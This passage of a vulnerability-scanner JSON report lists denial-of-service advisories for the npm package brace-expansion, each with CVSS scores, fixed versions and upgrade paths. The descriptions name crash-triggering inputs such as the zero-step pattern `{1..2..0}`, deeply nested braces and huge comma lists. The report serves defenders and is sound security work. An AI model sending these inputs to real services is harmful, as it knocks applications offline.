"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
